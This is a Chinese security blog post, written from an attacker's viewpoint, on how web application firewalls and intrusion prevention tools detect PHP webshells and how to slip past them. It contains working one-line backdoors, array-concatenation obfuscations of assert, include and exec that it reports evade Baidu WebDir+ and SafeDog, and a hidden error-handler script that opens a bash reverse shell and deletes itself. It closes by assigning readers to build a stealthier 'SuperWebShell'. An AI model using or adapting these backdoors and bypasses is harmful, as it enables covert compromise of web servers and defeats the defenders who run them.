DeePwn手术室：解剖防御系统——防守者的"血液透析机"

evil7 / 2017-05-09 09:12:44 / 浏览数 4266 安全技术 漏洞分析 顶(0) 踩(0)

引言

作为渣蛋轮胎科普系列的开头，还是打算从基本点给小白们科普，为了避免晦涩难懂并成功勾起大家的兴趣，之后的文章都会以攻击者视角来抒写，涉及潜在知识量和固定
/(/•/ω/•/)/

WAF及IPS对文件和流量的识别，就好似医疗用途的血液透析机，是细胞还是无机物？从性状、大小、结构、成分等特征来看都有所不同，而这也是WAF在识别和过滤上的

经常上FB的同学应该知道，我嘛有个毛病，本人话多巨懒，因此，本文只用开袋即食的百度云查杀 WebDir+ 以及网站大杀器 网站安全狗
来进行测试，点到为止嘛~

WAF(IPS)与EvilScript

WAF (Web Application Firewall)
顾名思义，是针对于网络应用的防火墙，其实现的功能在于，识别并处理大量请求流量中，服务器中的恶意文件和传入的非法流量，如果说WAF静态分析是看门人，主动站

IDS (Intrusion Detection System) 用于对已经发生的服务器入侵事件进行发觉，基于安全策略，对网络、系统的运行状况进行监视并及时响应入侵事件。

IPS (Intrusion Prevention System)
能服务器监视网络或网络设备的网络资料传输行为，出现重要文件传输和泄露时，能够即时的中断或隔离攻击性传输行为，是IDS的进阶产物。

EvilScript (WebShell & Evil Addons)
指以网页脚本文件形式存在的一种命令执行环境，也可以将其称做为一种Web形式的后门。在网站服务器被入侵后，通常会留存一个木马后门放在网站服务器WEB目录下，

1. 大马：功能齐全单个文件，可完成复杂行为和交互的Web端后门，通过Web交互即可成非常规权限操作。
2. 小马：仅提供中转上等传简单功能的简易跳板，或提供其他功能实现的任意输入内容执行的恶意API接口。
3. 脚本：以上均可称为执行脚本，但我这里划分出来所指的是无交互、固定行为的类似APT中高针对性的执行脚本。

WAF静态分析

简而言之，静态分析就好比人类社会看脸是一个意思，"面露险恶"、"福光满面"、"长相猥琐"、"帅气如我"什么的就是说的这意思，WAF防御视角来说，就是通过"侧写"来描

说说大马：

通常因为体积庞大并且涵盖函数和变量众多，网上流通的WebShell又通常运用固定化的格式，这就是传说中的"大众脸"了。这种Webshll基本看背影就知道是后门，大多一

```
func(){
$var2=base64_decode($var1);
if(!func2($var2)){
func3();die('blablabla');
};
};
```

对于WAF来说，不管如何构造文件格局、更改名称和执行顺序，虽然关键字些许可以绕过，但是如果不对功能构架进行替换，WAF只需对各类function进行还原并描绘执行

当然，我们也得从攻击者角度来说，我们可以靠手工重铸出一个大马或者亲自动手修改一个后门脚本，通过等价替换function，规避掉原有var和str的样貌，来实现绕过特征

比如PHP来说，分功能书写不同类型加解密`unCrypto[n]=function($input){blablabla……}`并进行固定封装，类似于js的直接封装写死，而内部调用时再按需根据不
`unCrypto[n](evilFunc_str))`导出，再跳转访问或者直接包含执行，此举在WAF眼里，文件只是执行了一个文件创建动作，或者顶多进行任意文件包含（多判定为文件

聊聊小马：

小马相对大马的变通性强不少，通常可使用文件分割、function分块引入来绕过特征，但是小马的典型短小精悍也让它主文件的变形产生了难度，毕竟就算代码写出花儿来，

最常见的小马类似如下，当然只是举个例子。

```
<?php eval($_POST['c']);?>

<?php assert(system($_POST['c']));?>

<?php
if ($_FILES["c"]["size"] > 0){
move_uploaded_file($_FILES["c"]["tmp_name"], __FILE__);
```

```
echo "<script>window.location.reload();</script>";
};
?>
```

“虽外貌千奇百怪，但目的千篇一律。” —— 接收传入、执行代码

各种拼接变形一句话或者混淆大马，正是因为避免不了最后还原成function最终形态而露出马脚。

综上所述，从攻击视角来说，用一个精心修改布置的小马加上多方位、多参数、多因素的判定，来变向构造成为又多个小马组成的大马，也是一种bypass的联动好思路。

谈谈脚本：

那难度就无限大了，首先不说以上大小马都含在在脚本这个大类里，类似APT使用的脚本都是只完成固定命令，针对性强、目的单一、手法暴力。例如以下注入正常PHP文件

```
<?php
function evil(){
if(exec('whoami')==='root'){
exec('bash -i >& /dev/tcp/0.0.0.0/8080 0>&1 | rm -rf ' . __FILE__);
};
};
set_error_handler('evil');
?>
```

脚本等待出错后才执行固定命令、无交互无传入，仅仅判断root用户本地debug时在报错的时候，触发执行单次任务并删除自身，在没有发生事件的时候WAF是无法识别这

介于思维行为等差异（脚本各项指标差异），如果某天某时，有个妹子红着脸盯着你看，除非她走过来直接跟你说明意图（脚本执行并完成任务），否则——你永远不知道她

一句话就是典型的小马类型，亦可称之为“被普遍使用”的恶意脚本，使用`assert($func)`、`eval($func)`、`${$func}`等执行所有传入内容，可以想像成一个用来实现任意

如果你接手了别人的php项目那厉害了！思路全看懂就是写不出，我们还是来谈谈重建吧？

“它好我也好，WAF受不了。”——世界上最好的语言PHP！

说到WAF发展，目前很多已经加入动态查杀，开始使用神经网络，不断对样本进行训练。但只有让WAF能够理解恶意脚本的“用意所在”而不仅仅观测“面相几何”，这样才能作

IPS动态查杀

正如其名，就是对文件执行流程一步步跟进执行再判断。有点“察言观色”、“见机行事”、“前应后果”、“事出有因”的意思。

步进跟踪：类似断点debug，根据可执行文件中function执行流程，还原最终执行构架原型以及最终行为，最终更准确的判定文件性质。

流量筛选：根据传入文件或者参数，对可疑流量进行分析、还原、代入，以及流量特征指纹与恶意流量模板对比。多出现在IPS产品，通过底层对流量的监控筛选，预警恶意

就以上两种，对可疑文件进行func还原和流量检测，或通过将流量传入沙盒进行分析，即可区分标记出大部分恶意文件。同时，在专业WAF、IPS产品或者堡垒硬防面前，出

当然IPS这是后话了，体系复杂涉及多个系统联动以及底层hook暂且不谈，服务器安全狗其实就是IPS，有逆向基础的同学可以直接拿来开刀分析，想入门学习的可以去看看

WAF简易测试

发现问题、测试问题、解决问题，通过对以上知识点的学习，我们不但要理解更要实践。那么接下来一起从攻击者角度，操练起来~

经过短暂知识回顾与摸索测试，我们来用一下5个脚本，测试一下百度Scanner在线扫描and网站安全狗的恶意脚本查杀功能。(千万别问我为什么不测服务器安全狗！拉到底

shell-1.php：

普通的简单变形一句话。

```
<?php
$func='a'.'s'.'s'.'e'.'r'.'t';
$func(base64_decode($_GET['c']));
?>
```

查杀时，双方的扫描器针对function进行识别并区别，标记了所有传入量入口点，识别声明的`$func`，强势地将脚本直接标记为eval后门。并测试其余网络版类似的变形都正

shell-2.php：

稍加`sleep()`函数，看看两款产品查杀时是否经过沙盒执行呢？

```
<?php
sleep(999999);
$_COOKIE['func'](base64_decode($_POST['c']));
```

```
?>
```

我使用如上代码测试却并未超时，虽然能准确查杀func类型，但是看来不是跳过sleep()了就是压根儿没动态验证……看来不足之处也就是动态分析了，WebDir+作为一款

shell-3.php：

稍作处理的文件包含测试。

```
<?php
include('/////'.$_FILES['c']['tmp_name'].'');
?>
```

百度Scanner查杀为[redacted](eval)而不再查杀为[redacted]或者eval[redacted]看来功课还是不够深啊……小辣鸡~

咦？网站安全狗却直接完全不查杀了？你个……大辣鸡：）

shell-4.php：

引用自：http://www.freebuf.com/articles/web/125084.html

```
<?php
$arr = array('a','s','s','e','r','t');
$func = '';
for ($i=0; $i<count($arr); $i++) {
$func = $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
```

两款产品全都成功绕过了？不行！谨慎起见，再来修改一下测试内容，稍微变形使用include代替assert观察判定结果。

```
<?php
$arr = array('i','n','c','l','u','d','e');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func = $func . $arr[$i];
}
$func($_FILES['c']['tmp_name']);
?>
```

不出所料，看来两款WAF在文件静态分析上，问题出在处理对array传入的拼接，目测无法跟进执行流程，检查拼接时候比较乏力，只能说……目前的WAF静态分析能力些许

shell-5.php：

之前的脚本举例，是会因为exec函数被双方查杀为[redacted]。来测试使用array累加赋值声明新函数，测试一下变形后的特殊EvilScript。

```
<?php
function evil(){
$arr = array('e','x','e','c');
$func = '';
for ($i=0; $i<count($arr); $i++) {
$func = $func . $arr[$i];
};
if($func('whoami') === 'root'){
$func('bash -i >& /dev/tcp/0.0.0.0/8080 0>&1 | rm -rf ' . __FILE__);
};
};
set_error_handler('evil');
?>
```

很好，看来array递归拼接用来声明新function在对静态绕过上非常有效。

WebDir+：

网站安全狗：

服务器安全狗：

我就当你们自家产品分工明确，不管他人瓦上霜好了……流量识别不想写了，纯粹的畸形二进制流绕过检测，大家可以根据[相关链接]自己研究一下，我懒癌犯了先睡一觉去

渣蛋轮胎滚起来辣！

WAF在对恶意文件进行多文件分割和function分割声明后，可谓“盲人摸象+瞒天过海”，特别是array进行拼接的时候，可以通过对顺序、字符偏移等进行绕过，让查杀更加对

IPS因为代码特征、function实现方式未能全面被囊括在特征库里，而IO数据又多是二进制流或者字符串，且沙盒执行时缺少关键参数的加入，导致无法判定具体传入流量到

那么，从攻击方视角来看，我们能不能把所有特性提炼到一起，搞一个大胆的尝试呢？(。·□·)ﾞ

大家一定觉得发出来不就会开始查杀了么？其实发出来就是为了促进攻防切磋提升网络空间安全质量，如果有想继续后续研究的同学，可以借鉴结合这些姿势继续进行尝试，

留个作业

请用以上方法尝试构造一个文件分割式、异步加载功能、自动加解密、可动态fuzzing的SuperWebShell吧！

答案请期待正在挤牙膏的下期文章：《DeePwn手术室：缝合利用框架——攻击者的“非法起搏器”》

上一篇：FreeTalk北京站PPT 下一篇：Jackhammer国外安全漏洞评...

1. 0 条回复
   - 动动手指，沙发就是你的了！